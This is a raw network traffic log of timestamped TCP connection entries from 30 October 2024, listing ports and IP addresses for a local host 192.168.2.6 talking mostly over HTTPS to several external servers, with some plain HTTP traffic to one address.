Oct 30, 2024 11:45:33.919895887 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.920026064 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.920188904 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.920200109 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.925388098 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.929156065 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.929182053 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.929209948 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.929292917 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.929292917 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.929353952 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.930310965 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.930321932 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.930351973 CET	49865	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.930356979 CET	443	49865	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.932112932 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.932112932 CET	49866	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.932122946 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.932132006 CET	443	49866	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.932137966 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.932231903 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.932269096 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.932277918 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.932423115 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.932456017 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.932463884 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.934221983 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.934228897 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.935364962 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.935400963 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.935794115 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.936204910 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.936218977 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.937849998 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.937858105 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.937959909 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.938076973 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:33.938093901 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:33.984509945 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.985726118 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.985738039 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.987477064 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.987617970 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.987704039 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.987711906 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.987812996 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:33.987967014 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:33.987967014 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:34.116942883 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:34.116942883 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:34.122482061 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:34.122509003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:34.122648001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:34.130183935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:34.130341053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:34.135591984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:34.135735035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:34.135752916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:34.135787964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:34.309623957 CET	49844	443	192.168.2.6	142.250.186.33
Oct 30, 2024 11:45:34.309643030 CET	443	49844	142.250.186.33	192.168.2.6
Oct 30, 2024 11:45:34.391268969 CET	443	49873	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.391335011 CET	49873	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.393415928 CET	443	49872	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.393512011 CET	49872	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.424952030 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.425009012 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.425122023 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.425367117 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.425379992 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.456032991 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.456084013 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.456342936 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.456756115 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.456772089 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.465987921 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.466001034 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.466300964 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.466316938 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.466681004 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.466696024 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.467365026 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.467416048 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.467717886 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.467787981 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.469697952 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.469767094 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.469969988 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.469978094 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.471460104 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.471530914 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.471615076 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.486804962 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.487010956 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.487025976 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.491188049 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.491290092 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.492104053 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.492278099 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.492525101 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.519330025 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.523494959 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.523530006 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.523607016 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.524036884 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.524053097 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.587100029 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.587111950 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.597055912 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.597110033 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.597676992 CET	49877	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.597688913 CET	443	49877	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.601855993 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.601938009 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.602144003 CET	49881	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.602158070 CET	443	49881	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.607939005 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.607949018 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.627852917 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.627912998 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.628060102 CET	49874	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.628072977 CET	443	49874	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.669662952 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.670231104 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.670248032 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.671333075 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.671336889 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.679285049 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.680274010 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.680274010 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.680293083 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.680300951 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.684494019 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.684936047 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.684948921 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.685476065 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.685480118 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.708570004 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.709156036 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.709170103 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.709714890 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.709721088 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.711020947 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.711513042 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.711524010 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.712112904 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.712117910 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.799155951 CET	443	49871	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.799278975 CET	443	49871	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:34.799335003 CET	49871	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.799362898 CET	49871	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:34.807076931 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.807188034 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.807332039 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.807365894 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.807365894 CET	49882	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.807374001 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.807383060 CET	443	49882	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.810688972 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.810709953 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.810760975 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.811047077 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.811058998 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.821069002 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.821130991 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.821188927 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.821197987 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.821237087 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.821352005 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.821460009 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.821469069 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.821573019 CET	49883	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.821578979 CET	443	49883	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.823400021 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.823630095 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.823671103 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.823898077 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.823908091 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.823918104 CET	49886	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.823923111 CET	443	49886	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.831075907 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.831094027 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.831160069 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.831702948 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.831716061 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.832290888 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.832304001 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.832361937 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.832545042 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.832556009 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.851001978 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.851036072 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.851078987 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.851092100 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.851116896 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.851532936 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.851545095 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.851556063 CET	49885	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.851563931 CET	443	49885	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.854047060 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.854067087 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.854151011 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.854279041 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.854290009 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.856116056 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.856287003 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.856333971 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.856456041 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.856462955 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.856473923 CET	49884	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.856477976 CET	443	49884	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.863182068 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.863198996 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:34.863272905 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.863691092 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:34.863698959 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.022759914 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.023133039 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.023139954 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.024563074 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.024715900 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.025151014 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.025218964 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.025543928 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.025548935 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.049469948 CET	49897	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.049493074 CET	443	49897	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.049674034 CET	49897	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.049818039 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.049848080 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.049932957 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.050093889 CET	49897	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.050102949 CET	443	49897	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.050230026 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.050241947 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.086369991 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.086599112 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.086606979 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.087672949 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.087724924 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.088116884 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.088166952 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.088253021 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.088259935 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.094376087 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.122271061 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.122740030 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.122749090 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.123079062 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.123471022 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.123554945 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.123733044 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.152307034 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.152407885 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.152544975 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.152637959 CET	49889	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.152650118 CET	443	49889	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.152930975 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.171339035 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.222445965 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.222640038 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.222723007 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.222764015 CET	49890	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.222775936 CET	443	49890	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.263283968 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.263362885 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.263451099 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.263988972 CET	49891	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.264004946 CET	443	49891	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.486422062 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:35.486460924 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:35.486567974 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:35.486922979 CET	49899	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:35.486926079 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:35.486938953 CET	443	49899	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:35.486957073 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:35.487056017 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:35.487222910 CET	49900	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:35.487234116 CET	443	49900	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:35.534889936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:35.534998894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:35.596529961 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.600816965 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.600816965 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.600848913 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.600862026 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.601457119 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.604942083 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.604942083 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.604963064 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.604990959 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.616168022 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.621196985 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.622759104 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.637723923 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.637742043 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.639714003 CET	49893	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.639719009 CET	443	49893	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.644813061 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.644813061 CET	49895	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.644825935 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.644835949 CET	443	49895	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.645719051 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.645719051 CET	49896	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.645733118 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.645742893 CET	443	49896	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.649122953 CET	443	49897	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.649521112 CET	49897	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.649534941 CET	443	49897	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.649979115 CET	443	49897	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.650372028 CET	49897	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.650440931 CET	443	49897	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.652548075 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.652864933 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.652890921 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.653754950 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.654119015 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.654119015 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.654174089 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.703155994 CET	49898	443	192.168.2.6	172.64.41.3
Oct 30, 2024 11:45:35.703175068 CET	443	49898	172.64.41.3	192.168.2.6
Oct 30, 2024 11:45:35.740561962 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.740681887 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.742821932 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.742821932 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.743530989 CET	49892	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.743541002 CET	443	49892	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.746906042 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.746932983 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.746961117 CET	443	49901	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.746968985 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.747008085 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.747051954 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.747052908 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.747226000 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.747226000 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.747246027 CET	49901	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.747248888 CET	49894	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:35.747253895 CET	443	49894	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:35.747257948 CET	443	49901	13.107.253.45	192.168.2.6
